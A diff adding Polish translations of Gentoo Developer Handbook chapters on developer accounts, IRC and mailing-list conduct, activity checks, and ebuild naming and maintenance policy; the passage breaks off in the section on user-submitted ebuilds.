+Deweloperzy mają możliwość zmiany wszystkich aspektów błędów w Bugzilli. Jeżeli
+posiadamy już istniejące konto, powinniśmy zmienić nasz obecny adres e-mail na
+e-mail Gentoo z pomocą administratora Bugzilli.
+</p>
+
+</body>
+</section>
+<section>
+<title>CVS</title>
+<body>
+
+<p>
+Nie wszyscy deweloperzy otrzymują dostęp do CVS - jeżeli potrzebujemy dostępu
+do drzewa Portage, gentoo, gentoo-projects lub gentoo-x86, kontaktujemy się z
+zespołem rekrutacji w celu odblokowania dostępu. Takie prośby trzeba dobrze
+uzasadnić.
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+Będąc deweloperem, otrzymujemy status operatora na kanale #gentoo-dev, co
+potwierdza funkcję jaką pełnimy w projekcie. W razie nieotrzymania tego statusu
+należy skontaktować się z działem Developer Relations. Dodatkowo
+przedstawiciele zespołu mogą przyznać nam status operatora na specyficznych
+kanałach, takich jak na przykład #gentoo-hardened. Nadużywanie praw operatora
+na #gentoo-dev może doprowadzić do utraty naszych praw wraz z możliwością
+utraty statusu dewelopera. Jeżeli otrzymaliśmy prawa operatora, wymaga się od
+nas używania ich z rozsądkiem, dla ogólnego dobra i tylko gdy deweloperzy lub
+użytkownicy łamią zasady kanału.
+</p>
+
+<p>
+Status operatora na kanale #gentoo jest przyznawany przez zaspół Developer
+Relations. Nie oznacza on w żadnym wypadku, że użytkownik jest deweloperem.
+</p>
+
+<p>
+"Specjalne" kanały Gentoo, takie jak #gentoo-hardened lub #gentoo-server są
+przyznawane odpowiednim zespołom.
+</p>
+
+<p>
+Kanały IRC należą do przedstawicieli odpowiadających im projektów, zarówno
+strategicznych jak i operacyjnych. Dodatkowo właściciel kanału może zarządzać
+nadawaniem bądź odbieraniem przywilejów użytkownikom. Jeżeli uznamy, iż te
+prawa są nadużywane lub używane do złych celów, należy zgłosić to do zespołu
+Developer Relations.
+</p>
+
+</body>
+</section>
+<section>
+<title>Forum Gentoo (opcjonalnie)</title>
+<body>
+
+<p>
+Prosimy jednego z administratorów forum na kanale #gentoo-forums lub poprzez
+mail forum-mods@gentoo.org, by zmieniono nam status na forach Gentoo, jeżeli
+zajdzie taka potrzeba. Posiadanie konta na forum nie jest obowiązkowe.
+</p>
+
+</body>
+</section>
+<section>
+<title>Poczta</title>
+<body>
+
+<p>
+Wszyscy deweloperzy otrzymują służbowy adres mailowy o nazwie
+pseudonim@gentoo.org.
+</p>
+
+<p>
+Szczegóły posługiwania się nim spisaliśmy w dokumencie
+<uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Listy mailingowe</title>
+<body>
+
+<p>
+Wszyscy deweloperzy muszą zapisać się do list mailingowych <c>gentoo-core</c> i
+gentoo-dev-announce. Ponadto powinni zapisać się do list <c>gentoo-dev</c> and
+<c>gentoo-project</c>. W tym celu należy skontaktować się z osobami z zespołu
+rekrutacyjnego, aby przypisali nas do listy gentoo-core, dostępnej tylko dla
+deweloperów. Jeżeli jesteśmy zapisani do jakichkolwiek innych list, musimy się
+wypisać i zapisać ponownie z naszym nowym adresem e-mailowym. Lista gentoo-core
+używana jest do wewnętrznych dyskusji, jednak większość tematów należy kierować
+na listę gentoo-dev.
+</p>
+
+<p>
+Lista gentoo-core to rozmowy wewnętrze. Do wszelkich dyskusji na temat projektu
+należy korzystać z gentoo-dev. Dyskusje nie na temat oraz nie dotyczące spraw
+technicznych powinny odbywać się na gentoo-project. Ogłoszenia powinny być
+wysyłane na gentoo-dev-announce. Przed wysłaniem ogłoszenia na
+gentoo-dev-announce, aby cała dyskusja odbyła się na innej liście, należy
+odpowiednio ustawić pole "reply-to" oraz wysłać wiadomość także na tę listę.
+</p>
+
+<p>
+Na wszystkie listy Gentoo należy być zapisanym z oficjalnego adresu @gentoo.org.
+Jeśli jest się zapisanym z innego adresu, należy się wypisać i zapisać od nowa
+z poprawnego.
+</p>
+
+</body>
+</section>
+<section>
+<title>Konto na serwerze dev.gentoo.org</title>
+<body>
+
+<p>
+Wszyscy deweloperzy otrzymują konto shell na dev.gentoo.org, gdzie mogą
+przechowywać swoje pliki, skonfigurować przekazywanie poczty, a także wejść na
+IRC.
+</p>
+
+<p>
+Dla bezpieczeństwa, dostęp jest możliwy tylko przy pomocy kluczy SSH, które
+nasz mentor powinien umieścić na naszym koncie co umożliwi zalogowanie się z
+ich pomocą. Więcej szczegółów na temat kluczy SSH znajduje się pod adresem
+<uri>http://www.gentoo.org/proj/en/infrastructure/cvs-sshkeys.xml</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zasady korzystania z usług</title>
+<body>
+
+<p>
+Usługi zapewniane przez Gentoo powinny być używane tylko dla pracy nad rozwojem
+Gentoo. Zespół Infrastruktury ma prawo do wyłączania kont, które narażają
+zabezpieczenia. Zawieszamy również konta, które nie są używane przez dłuższy
+okres czasu. Dodatkowo nasz status na kanale #gentoo-dev zmieni się z +o na +v.
+</p>
+
+<p>
+Jeżeli jakieś pliki na koncie dewelopera okażą się być szkodliwymi dla innych
+deweloperów lub użytkowników, bądź też zagrażają w jakiś sposób projektowi
+Gentoo (na przykład jeśli deweloper umieści tam nielegalne .torrenty), Zespół
+Infrastruktury Gentoo zawiesi konto i odblokuje je dopiero po dochodzeniu
+przeprowadzonym przez Gentoo Developer Relations. W większości przypadków, nasz
+status dewelopera może zostać zawieszony, jeżeli takie pliki zostaną u nas
+odnalezione. Takie same zasady tyczą się repozytorium CVS Gentoo i innych usług
+zapewnianych deweloperom.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Badanie aktywności</title>
+<body>
+
+<p>
+Rozumiemy że w życiu mogą zdarzyć się różne rzeczy, co sprawi że zmniejsza się
+aktywność poszczególnych deweloperów. Dlatego prosimy, aby wszyscy, którzy
+wiedzą, że nie będą dostępni przed dłuższy czas (wakacje, duży projekt w pracy,
+sprawy rodzinne, etc), zgłosili to w systemie devaway.
+</p>
+
+<pre caption="Przed wyjazdem na wakacje">
+<comment>na dev.gentoo.org</comment>
+$ <i>echo "Away until 2007-08-30, contact $dev1 in my absence" &gt;
+~/.away</i>
+</pre>
+
+<pre caption="Po powrocie">
+<comment>na dev.gentoo.org</comment>
+$ <i>rm ~/.away</i>
+</pre>
+
+<p>
+Zespół Developer Relations regularnie sprawdza aktywność poszczególnych osób
+poszukując tych, którzy opuścili nasz projekt nie informując nas o tym. Za osobę
+nieaktywną uznawany jest każdy, kto nie zrobił niczego w projekcie przez 60 dni.
+To znaczy, że nie dokonał żadnych zmian w CVS, na Bugzilli, listach
+mailingowych, forach itp. Często też pytamy szefa projektu do którego należy
+dana osoba o jej aktywność.
+</p>
+
+<p>
+Każda osoba nieaktywna przez dłużej niż 60 dni może zostać usunięta z projektu.
+Zanim jednak tak się stanie, dokładnie sprawdzimy co dzieje się z daną osobą
+oraz skontaktujemy się z nią w celu wyjaśnienia nieobecności. Jeśli kontakt się
+nie powiedzie, usuniemy jej konto. Jeśli ktoś jest na urlopie (devaway) przez
+dłużej niż 60 dni, również może zostać usunięty z projektu. Data powrotu z
+urlopu zostanie oczywiście wtedy wzięta pod uwagę przy podejmowaniu decyzji. Nie
+ma żadnego problemu z powrotem do projektu po tym jak konto zostało usunięte z
+powodu nieaktywności, wystarczy skontaktować się z zespołem zajmującym się
+rekrutacją i poprosić o rozpoczęcie procedury rekrutacji od nowa.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-introduction.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction.xml
new file mode 100644
index 00000000..774f207f
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction.xml
@@ -0,0 +1,64 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-introduction.xml,v 1.2 2006/09/07 11:50:26 rane Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Celem tego podręcznika jest określenie zasad rozwijania Gentoo oraz
+informowanie obecnych i potencjalnych jego deweloperów o standardach i
+procedurach stosowanych podczas rozwijania systemu.
+</p>
+
+<p>
+Ten podręcznik nie jest uniwersalnym przewodnikiem, w którym są wszystkie
+odpowiedzi. Zawiera jedynie podstawy, które - jak uważamy - powinny pomóc na
+początku drogi dewelopera Gentoo. Tak naprawdę możliwości są nieograniczone.
+</p>
+
+<p>
+Bez względu na to czy chodzi o nowego dewelopera Gentoo, czy weterana, nie
+należy bać się zadawania pytań. Odpowiednim dla nich miejscem jest kanał
+#gentoo-dev i grupa dyskusyjna gentoo-dev.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wymagania</title>
+<body>
+
+<p>
+Zanim zaczniemy przygodę z pisaniem ebuildów, musimy posiadać działające Gentoo
+- zarówno do celów dokumentacyjnych jak i deweloperskich. Zaleca się również
+dobrą znajomość rozdziału "Praca z Gentoo" z <uri
+link="/doc/pl/handbook/">Podręcznika Gentoo</uri>.
+</p>
+
+<p>
+Większa część tego przewodnika skierowana jest do deweloperów, ale również
+osoby, które są ciekawe w jaki sposób rozwijane jest Gentoo znajdą tu wiele
+cennych informacji i wskazówek.
+</p>
+
+<p>
+Pierwszym krokiem na drodze kariery każdego dewelopera Gentoo jest poprawne
+raportowanie i naprawianie błędów w <uri link="http://bugs.gentoo.org">Bugzilli
+Gentoo</uri> oraz dostarczanie nam za jej pośrednictwem nowych, solidnie
+napisanych ebuildów. To najlepszy sposób, aby zostać zauważonym i zaproszonym
+do naszego grona.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-policy-ebuild.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-policy-ebuild.xml
new file mode 100644
index 00000000..88496e5e
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-policy-ebuild.xml
@@ -0,0 +1,720 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-policy-ebuild.xml,v 1.9 2008/01/17 00:33:37 rane Exp $ -->
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.3</version>
+<date>2007-01-21</date>
+
+<section>
+<title>Ogólne wytyczne</title>
+<subsection>
+<body>
+
+<p>
+Oto kilka ogólnych wytycznych związanych z utrzymywaniem ebuildów:
+</p>
+
+<ul>
+  <li>
+    Nowe wersje zawsze należy wprowadzać przy pomocy programu repoman -
+    korzystamy z <c>repoman commit</c> zamiast <c>cvs commit</c>.
+  </li>
+  <li>
+    Jeśli pakiet zawiera błędy lub posiada niezbyt dobrze przemyślany proces
+    budowania/instalacji, warto sprawdzić jak poradzili sobie z nim deweloperzy
+    innych dystrybucji:
+  <ul>
+    <li><uri link="http://www.debian.org/distrib/packages">Debian</uri></li>
+    <li>
+      <uri
+      link="http://cvs.mandriva.com/cgi-bin/viewvc.cgi/SPECS/">Mandriva</uri>
+    </li>
+    <li><uri link="http://cvs.fedora.redhat.com/">Fedora</uri></li>
+  </ul>
+  </li>
+  <li>
+    Nowy pakiet, gdy będzie ukończony i odmaskowany, powinien "po prostu
+    działać". Konieczność modyfikowania zainstalowanego programu, aby móc z
+    niego korzystać nie jest dobrym rozwiązaniem. Aplikacja powinna posiadać
+    rozsądne domyśle ustawienia.
+  </li>
+  <li>
+    Nie należy unikać czytania internetowej dokumentacji i ebuildów
+    utrzymywanych przez bardziej doświadczonych deweloperów podczas pracy nad
+    swoimi pakietami. Warto kontaktować się z innymi deweloperami w razie
+    wystąpienia problemów technicznych i pytać ich o zasady pisania ebuildów.
+  </li>
+  <li>
+    Należy zwracać szczególną uwagę na to, co wprowadzamy do repozytorium.
+    Błędny commit może potencjalnie odbić się negatywnie na tysiącach
+    użytkowników. Jeśli dodanie jakiegoś pliku spowoduje uszkodzenie drzewa
+    Portage, konieczne jest naprawienie błędu tak szybko, jak to tylko
+    możliwe.
+  </li>
+  <li>
+    Do każdego ebuilda musi zostać dołączony plik <uri
+    link="?part=2&amp;chap=4">metadata.xml</uri>, który zawiera - poza innymi
+    danymi - informację jaki zespół (i/lub indywidualni opiekunowie) zarządza
+    pakietem.
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Szczegółowe wytyczne</title>
+<subsection>
+<title>fPIC</title>
+<body>
+
+<p>
+Na niektórych architekturach współdzielone biblioteki muszą być budowane z
+opcją -fPIC. Na architekturze x86 (i kilku innych) biblioteki takie mogą zostać
+zbudowane bez opcji -fPIC, ale będą bezużyteczne i potencjalnie mogą spowodować
+obniżenie wydajności. Jeśli napotkamy pakiet, który buduje współdzielone
+biblioteki bez opcji -fPIC, powinniśmy zmodyfikować plik Make tak, aby budował
+biblioteki (i tylko biblioteki) z tą opcją. Więcej informacji o PIC można
+znaleźć na stronie
+<uri>http://www.gentoo.org/proj/en/hardened/pic-internals.xml</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Perl</title>
+<body>
+
+<p>
+Nowe moduły Perla powinny być dodawane do drzewa Portage tylko jeśli spełniony
+zostanie jeden z poniższych warunków:
+</p>
+
+<ul>
+  <li>Moduł(y) wypełnia zależności</li>
+  <li>Moduł(y) nie może być obsłużony przez <c>g-cpan</c></li>
+  <li>Moduł(y) zwiększa funkcjonalność istniejących ebuildów</li>
+  <li>
+    Moduł(y) dostarcza narzędzia, aplikacje lub inne możliwości (np. większe
+    niż zapewnia .PM)
+  </li>
+</ul>
+
+<p>
+Przed dodaniem pakietu trzeba uzyskać zgodę przynajmniej jednego członka
+zespołu Perla.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Polityka ebuildów</title>
+<subsection>
+<title>Polityka nazw</title>
+<body>
+
+<p>
+Nazwa pliku z ebuildem składa się z czterech elementów:
+</p>
+
+<p>
+<c>pkg-ver{_suf{#}}{-r#}.ebuild</c>
+</p>
+
+<note>
+Nawiasy (<c>{}</c>) wskazują opcjonalne pola i nie pojawiają się w rzeczywistej
+nazwie pliku. Znak <c>#</c> symbolizuje dowolną niezerową liczbę naturalną.
+</note>
+
+<p>
+Pierwszy element - <c>pkg</c> - jest nazwą pakietu, która powinna zawierać
+wyłącznie małe litery, znaki 0-9 i dowolną liczbę myślników (<c>-</c>),
+podkreśleń (<c>_</c>) i plusów (<c>+</c>). Przykładowe wartości tej części
+nazwy: <c>util-linux</c>, <c>sysklogd</c>, <c>gtk+</c>. W drzewie Portage
+znajdują się ebuildy, które nie przestrzegają powyższych zasad, jednak nasze
+pakiety powinny ich przestrzegać.
+</p>
+
+<p>
+Druga część - <c>ver</c> - to wersja pakietu. Powinna ona pokrywać się z wersją
+w głównym taballu ze źródłami. Oznaczenie wersji zazwyczaj składa się z dwóch
+lub trzech (lub większej ilości) liczb, rozdzielonych kropkami, np.: <c>1.2</c>,
+<c>4.5.2</c>. Po ostatniej liczbie może występować pojedyncza
+litera: <c>1.4b</c>, <c>2.6h</c>. Numer wersji pakietu jest dołączany do nazwy
+przy pomocy myślnika: <c>foo-1.0</c>, <c>bar-2.4.6</c>.
+</p>
+
+<p>
+Trzeci element - <c>{_suf{#}}</c> - jest ocjonalny i może zawierać jeden z
+poniższych przyrostków (są one uporządkowane w kolejności od tych, które
+oznaczają mniej aktualne pakiety, do tych, które symbolizują najnowsze):
+</p>
+
+<table>
+ <tr><th>Przyrostek</th><th>znaczenie</th></tr>
+ <tr><ti><c>_alpha</c></ti><ti>Wersja alpha</ti></tr>
+ <tr><ti><c>_beta</c></ti><ti>Wersja beta</ti></tr>
+ <tr><ti><c>_pre</c></ti><ti>Wersja zapoznawcza</ti></tr>
+ <tr><ti><c>_rc</c></ti><ti>Wersja warunkowa</ti></tr>
+ <tr><ti>(brak)</ti><ti>Normalna wersja</ti></tr>
+ <tr>
+   <ti><c>_p</c></ti>
+   <ti>Łatka (zazwyczaj uzupełniona liczbą naturalną)</ti>
+ </tr>
+</table>
+
+<p>
+Do każdego z tych przyrostków może zostać dodana niezerowa liczba naturalna,
+np.  <c>linux-2.4.0_pre10</c>. W przypadku takiej samej części zawierającej
+wersję programu, przyrostki posiadają następujący priorytet: <c>_alpha</c> &lt;
+<c>_beta</c> &lt; <c>_pre</c> &lt; <c>_rc</c> &lt; (brak przyrostka) &lt;
+<c>_p</c>.
+</p>
+
+<p>
+Jeśli mamy do czynienia z tym samym przyrostkiem, decydujące znaczenie ma
+dołączona do niego liczba - wyższa liczba oznacza nowszą wersję. Przykładowo:
+<c>foo-1.0_alpha4</c> jest nowszy niż <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+Ostatnia część nazwy pakietu to specyficzny dla Linuksa Gentoo numer poprawki
+programu - (<c>{-r#}</c>). Element ten, tak jak przyrostek, jest opcjonalny.
+Znak <c>#</c> symbolizuje niezerową liczbę naturalną, np.
+<c>package-4.5.3-r3</c>.
+</p>
+
+<p>
+Numer poprawki jest niezależny od numeru wersji tarballa źródłowego i używany
+jest do informowania użytkowników o nowych poprawkach specyficznych dla Linuksa
+Gentoo. Początkowe wersje ebuildów nie posiadają numeru poprawki (np.
+<c>package-4.5.3</c>) i są postrzegane przez Portage jako posiadające numer
+poprawki równy zeru. Oznacza to, że kolejne poprawki numerowane są następująco:
+<c>1.0</c> (wersja początkowa), <c>1.0-r1</c>, <c>1.0-r2</c>, itd.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Nowe wersje i poprawki</title>
+<body>
+
+<p>
+Numer poprawki pakietu powinien zostać zwiększony przez deweloperów Gentoo w
+momencie, gdy zmiany są na tyle duże, że użytkownicy będą zainteresowani
+aktualizacją. Zazwyczaj dzieje się tak, kiedy poprawki wprowadzone do ebuilda
+wpływają na pliki tworzone w czasie instalacji, ale wciąż wykorzystywane są te
+same źródła programu. Jeśli wprowadzone zostaną jedynie stylistyczne zmiany,
+nie ma potrzeby podnoszenia numeru poprawki. Również jeśli poprawiony zostanie
+problem związany z kompilacją, którego doświadczyli niektórzy użytkownicy, nie
+należy zwiększać numeru poprawki. Robimy tak, ponieważ osoby, u których
+kompilacja przebiegła pomyślnie nie odczują żadnych korzyści z instalacji
+poprawki, a ci, którzy nie posiadają zainstalowanego pakietu (przez błąd w
+czasie kompilacji), nie potrzebują zmiany numeru poprawki, aby skorzystać z
+nowego pakietu. Podniesienie numeru poprawki nie jest także konieczne, jeśli
+dotyczy ona mniejszości użytkowników, a czas kompilacji programu jest znaczący.
+W takim przypadku należy dokładnie przeanalizować sytuację przed podjęciem
+decyzji o podniesieniu numeru poprawki.
+</p>
+
+<impo>
+Zawsze gdy tworzona jest nowa poprawka, należy zaktualizować plik
+<path>ChangeLog</path> w katalogu ebuildu. Nie uczynienie tego, jest postrzegane
+jako działanie w bardzo złym guście i może spowodować wyciągnięcie konsekwencji.
+</impo>
+
+<p>
+Ebuildy powinny być oparte na swoich poprzednich wersjach, co zapewnia, że
+poprawki nie są przypadkowe. Poprawki powinny być opatrzone odpowiednimi
+komentarzami w ebuildzie, które wyjaśniają dlaczego wprowadzono zmiany i co mają
+one na celu. Jeśli nie zapoznamy się z poprawkami lub nie wiemy, czy są one
+jeszcze potrzebne, nie powinniśmy aktualizować ebuilda.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Pakiety wirtualne</title>
+<body>
+
+<p>
+Portage obsługuje koncepcję wirtualnych pakietów. Przy ich użyciu można stworzyć
+odwołania do innych pakietów oraz do grup pakietów.
+</p>
+
+<p>
+Zacznijmy od przykładu użycia wirtualnego pakietu. Załóżmy, że stworzyliśmy nowy
+pakiet dla programu cron o nazwie <c>foocron</c>. Linuks Gentoo jest aktualnie
+tak skonfigurowany, że programy, których zależnością jest cron, posiadają
+zależność postaci <c>virtual/cron</c>. Pozwala to na zapewnienie, iż istnieje w
+systemie jakiś rodzaj programu cron, a zarazem daje użytkownikom elastyczność
+przy wyborze konkretnego narzędzia. Aby dodać naszego ebuilda
+<path>foocron-1.0.ebuild</path> do grupy pakietów spełniających zależność
+wirtualną, musimy umieścić w nim linię:
+</p>
+
+<pre caption="Dołączanie pakietu do grupy programów spełniających zależność wirtualną">
+PROVIDE="virtual/cron"
+</pre>
+
+<p>
+Gdy zainstalujemy <c>foocron-1.0</c> pakiet <c>virtual/cron</c> zostanie
+zarejestrowany w systemie. Jeśli wcześniej nie mieliśmy zainstalowanego żadnego
+pakietu programu cron, wszystkie aplikacje <e>zależne</e> od
+<c>virtual/cron</c> będą miały tą zależność spełnioną. Pamiętajmy przy tym, że
+możliwe jest przypisanie zmiennej <c>PROVIDE</c> wartości w postaci pakietu z
+dowolnej kategorii - nie musi to być <c>virtual/</c>. Jednak <e>zaleca się</e>,
+aby używać kategorii <c>virtual/</c> dla zdefiniowanych virtuali (z
+<path>/etc/make.profile/virtuals</path>). Warto również podkreślić, że
+<c>PROVIDE</c> nie jest metodą na zmianę nazwy pakietu oraz że nie należy go
+używać z nowymi virtualami.
+</p>
+
+<p>
+Istnieje jeszcze jeden komponent implementacji pakietów wirtualnych w Gentoo. Co
+stanie się jeśli nie posiadamy zainstalowanego żadnego programu, który spełnia
+wirtualną zależność <c>virtual/cron</c>, a jakaś aplikacja ją posiada? W jaki
+sposób Portage wybierze "prawidłowy" pakiet programu cron, aby spełnić zależność
+<c>virtual/cron</c>? Portage jest przygotowany na taką sytuację dzięki
+specyficznej dla profilu mapie zależności wirtualnych, która umieszczona jest w
+pliku <path>virtuals</path>, znajdującym się w
+katalogu<path>/etc/make.profile</path>. Jeśli otworzymy ten plik, zobaczymy że
+jego zawartość wygląda mniej więcej tak:
+</p>
+
+<pre caption="Przykładowy plik virtuals">
+virtual/lpr             net-print/cups
+virtual/python          dev-lang/python
+virtual/mta             net-mail/ssmtp
+</pre>
+
+<p>
+Pierwsza linia oznacza, że jeśli jakiś program zależy od <c>virtual/lpr</c> i
+zależność ta nie jest spełniona, to powinien zostać zainstalowany pakiet
+<c>net-print/cups</c>. Z kolei ebuild pakietu <c>net-print/cups</c> zawiera
+liniię <c>PROVIDE="virtual/lpr"</c>, więc zależność <c>virtual/lpr</c> zostanie
+spełniona poprzez jego instalację.
+</p>
+
+<p>
+Korzystając z wirtualnych zależności zwracajmy uwagę na dwie sprawy. Po
+pierwsze, jeśli dodaliśmy pakiet <c>foocron</c>, musimy upewnić się, że
+wszystkie programy, posiadające zależność <c>virtual/cron</c> są w stanie
+poprawnie z nim pracować. Po drugie, dodając pakiet <c>foobarosity</c>, który
+jest zależny od <c>virtual/cron</c>, musimy zadbać o to, aby wszystkie programy
+spełniające wirtualną zależność <c>virtual/cron</c> pozwalały na prawidłowe
+funkcjonowanie aplikacji <c>foobarosity</c>.
+</p>
+
+<p>
+Przed stworzeniem wirtualnego pakietu należy przedyskutować to na liście
+mailingowej dla deweloperów. Informowanie deweloperów o nowych pakietach
+wirtualnych jest fundamentem ich prawidłowego wykorzystywania.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Zasięgi</title>
+<body>
+
+<p>
+Gdy ebuild zostaje dołączony do skryptu odpowiedzialnego za instalację aplikacji
+przy pomocy polecenia source, znajdujące się w nim funkcje i zmienne zostają
+załadowane do pamięci przez interpreter skryptu. Jednakże tylko zmienne i
+instrukcje niebędące częścią funkcji są interpretowane - funkcje (np.
+<c>src_compile()</c>) zostają zinterpretowane dopiero w momencie ich wywołania.
+</p>
+
+<p>
+Kod tych funkcji znajduje się zasięgu lokalnym, podczas gdy wszystko poza nimi
+jest częścią zasięgu globalnego. Instrukcje zasięgu globalnego są wykonywane
+przy każdym wykonaniu ebuilda.
+</p>
+
+<p>
+Zewnętrzne aplikacje (jak grep, sed, awk) nigdy nie powinny być wywoływane w
+zasięgu globalnym ze względu na wydajność. Zamiast nich należy stosować ich
+zastępniki wbudowane w basha. Przydatne alternatywne narzędzia można znaleźć na
+stronie <uri link="http://www.tldp.org/LDP/abs/html/">Przewodnik zaawansowanego
+programowania w bashu</uri>.
+</p>
+
+<p>
+Dodatkowo, w przypadku wywoływania zewnętrznych aplikacji w zasięgu globalnym,
+nie ma możliwości zagwarantowania, że programy te są obecne w systemie. Jeśli
+komenda wywołująca aplikację znajduje się w zasięgu lokalnym (np. w funkcji
+<c>pkg_setup()</c>), możemy upewnić się, że odpowiedni program występuje w
+systemie poprzez zmienną <c>${DEPEND}</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Polityka ebuildów opartych na źródłach z repozytoriów CVS</title>
+<body>
+
+<p>
+Istnieją dwa sposoby na stworzenie ebuilda opartego na źródłach z repozytorium
+CVS. Pierwszy (tradycyjny) sposób to stworzenie ebuilda opartego o snapshot
+źródeł. Polega to na stworzeniu tarballa ze źródłami, umieszczeniu go w
+repozytorium źródeł do pobrania i napisaniu ebuilda, który będzie odwoływał się
+bezpośrednio do tego tarballa. Tego typu ebuildy będą nazywane "ebuildami
+opartymi o snapshot".
+</p>
+
+<p>
+Inna metoda stworzenia ebuilda opartego na źródłach z repozytorium CVS to użycie
+<path>cvs.eclass</path>, w celu napisania "aktywnego" ebuilda. Tego typu ebuild
+będzie automatycznie pobierał najnowsze źródła z repozytorium w momencie jego
+użycia, dbając, aby źródła były tak aktualne jak to tylko możliwe. Tego typu
+ebuildy będą określane mianem "aktywnych ebuildów" (ang. "live ebuilds").
+</p>
+
+<p>
+Kolejne akapity opisują politykę ebuildów opartych na źródła z repozytorium
+CVS. Przedstawiają również zasady dodawania tego typu ebuildów do drzewa
+Portage.
+</p>
+
+<p>
+Preferowane jest użycie ebuildów opartych o snapshot, zamiast "aktywnych"
+ebuildów korzystających z <path>cvs.eclass</path>.
+</p>
+
+<p>
+Ebuildy oparte o snapshot są dozwolone jeśli snapshot zawiera poprawki potrzebne
+do prawidłowego działania pakietu, a także jeśli wersja aplikacji z repozytorium
+została uznana za "działającą lepiej" niż normalna wersja.
+</p>
+
+<p>
+Ebuildy "aktywne" generalnie są tworzone tylko dla wygody deweloperów i zawsze
+powinny być zamaskowane przy pomocy oznaczenia <c>~[arch]</c> w zmiennej
+KEYWORDS. Nie jest możliwe zapewnienie niezawodności "aktywnego" ebuildu, gdyż
+wersja źródeł w repozytorium może zmienić się w każdym momencie - dlatego
+wymagane jest maskowanie.
+</p>
+
+<p>
+Niezależnie czy mamy do czynienia z "aktywnym" ebuildem, czy też ebuildem
+opartym o snapshot, <b>my - deweloperzy - jesteśmy odpowiedzialni za jego
+prawidłowe działanie</b>. Z oczywistych powodów w przypadku "aktywnych" ebuildów
+zapewnienie tej poprawności jest niezmiernie trudne.
+</p>
+
+<p>
+Jeśli ebuildy (niezależnie jakiego typu) nie działają poprawnie, powinny zostać
+naprawione lub usunięte z drzewa Portage. Jeśli są to "aktywne" ebuildy, mogą
+być na stałe zamaskowane oznaczeniem <c>~[arch]</c> w zmiennej KEYWORDS
+(przypadek taki jest opisany poniżej).
+</p>
+
+<p>
+Jeśli użytkownik lub grupa użytkowników zgłosi potrzebę dodania "aktywnego"
+ebuilda, można taki ebuild stworzyć. Powinien on być oznaczony jako
+<c>~[arch]</c>, aby inni użytkownicy nie zemergowali go przypadkowo.
+</p>
+
+<p>
+Dzięki temu użytkownik potrzebujący takiego ebuilda (zazwyczaj deweloper),
+będzie mógł z niego korzystać, a inni nie będą narażeni na jego przypadkowe
+zemergowanie. Należy jeszcze raz podkreślić, że jest to sytuacja, w której ktoś
+jednoznacznie poprosił o dodanie "aktywnego" ebuilda. Ebuildy oparte o snapshot
+należy dodawać do drzewa Portage tylko z założeniem, że będą stabilne i
+dostarczą większej funkcjonalności niż zwykła wersja programu.
+</p>
+
+<impo>
+Ebuildy oparte o snapashot wersji zapoznawczej programu powinny posiadać
+następującą nazwę: <path>foo-x.y_preYYYYMMDD.ebuild</path>. <c>foo</c> jest
+nazwą pakietu, <c>x.y</c> to oznaczenie wersji <e>nadchodzącego</e> wydania,
+<c>_pre</c> jest stałym elementem nazwy, <c>YYYYMMDD</c> to znacznik czasu
+odpowiadający dniu, w którym wykonano snapshot. Używanie tej konwencji jest
+konieczne, aby wersja <c>x.y.1</c> nie została niesłusznie uznana za starszą
+niż <c>x.y</c>. Dodatkowo zapewnia to, że finalna wersja <c>x.y</c> będzie
+postrzegana jako <e>nowsza</e> niż wersje oparte o snapshot. W przypadku
+ebuildów opartych o snapshot <e>finalnych</e> wersji, należy stosować nazwę w
+formacie: <path>foo-x.y_pYYYYMMDD.ebuild</path> (<c>_p</c> służy do oznaczenia
+numeru poprawki). To z kolei sprawi, że ebuild oparty o snapshot będzie uznany
+za <e>nowszy</e> niż standardowa wersja <c>x.y</c>.
+</impo>
+
+<impo>
+Obecnie polityka nazywania "aktywnych" ebuildów obejmuje kończenie nazwy
+przyrostkiem <c>-cvs</c>. W przyszłości zostanie dodany do Portage przyrostek
+<c>_cvs</c> i polityka nadawania nazw zostanie zaktualizowana.
+</impo>
+
+</body>
+</subsection>
+<subsection>
+<title>Ebuildy nadesłane przez użytkowników</title>
+<body>
+
+<p>
+Ebuildy nadesłane przez użytkowników nigdy nie powinny być ślepo umieszczane w
+repozytorium CVS. Należy je dokładnie przetestować przez udostępnieniem innym
+użytkownikom. <b>Jeśli ebuild nadesłany przez użytkownika zawiera błędy,
